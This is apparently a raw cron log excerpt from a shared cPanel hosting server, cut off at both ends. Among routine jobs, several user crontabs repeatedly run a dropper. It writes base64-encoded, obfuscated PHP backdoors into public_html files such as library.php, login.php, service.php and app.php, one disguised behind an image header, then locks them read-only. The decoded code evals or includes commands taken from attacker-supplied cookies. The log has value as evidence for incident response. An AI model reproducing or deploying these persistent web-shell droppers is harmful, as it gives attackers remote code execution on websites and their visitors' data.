zZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:33:01 medusa CROND[19992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:33:01 medusa CROND[20086]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:33:01 medusa CROND[20121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:33:01 medusa CROND[20221]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:33:01 medusa CROND[20222]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:33:01 medusa CROND[20232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:33:01 medusa CROND[20234]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:33:01 medusa CROND[20235]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:33:01 medusa CROND[20236]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:33:01 medusa CROND[20242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:33:01 medusa CROND[20243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:33:01 medusa CROND[20261]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:34:01 medusa CROND[8560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:34:01 medusa CROND[8564]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:34:01 medusa CROND[8566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:34:01 medusa CROND[8568]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:34:01 medusa CROND[8572]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:34:01 medusa CROND[8573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:34:01 medusa CROND[8575]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:34:01 medusa CROND[8574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:34:01 medusa CROND[8577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:34:01 medusa CROND[8583]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:34:01 medusa CROND[8581]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:34:01 medusa CROND[8584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:34:01 medusa CROND[8585]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29307]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:35:01 medusa CROND[29437]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:35:01 medusa CROND[29721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29725]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:35:01 medusa CROND[29723]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:35:01 medusa CROND[29727]: (gastb3e) CMD (/usr/local/bin/php /home/gastb3e/public_html/client_id_web_reporter/usuarios/abonos_anuales/abonos_anualesNoEjecutar.php)
Mar  2 11:35:01 medusa CROND[29728]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9j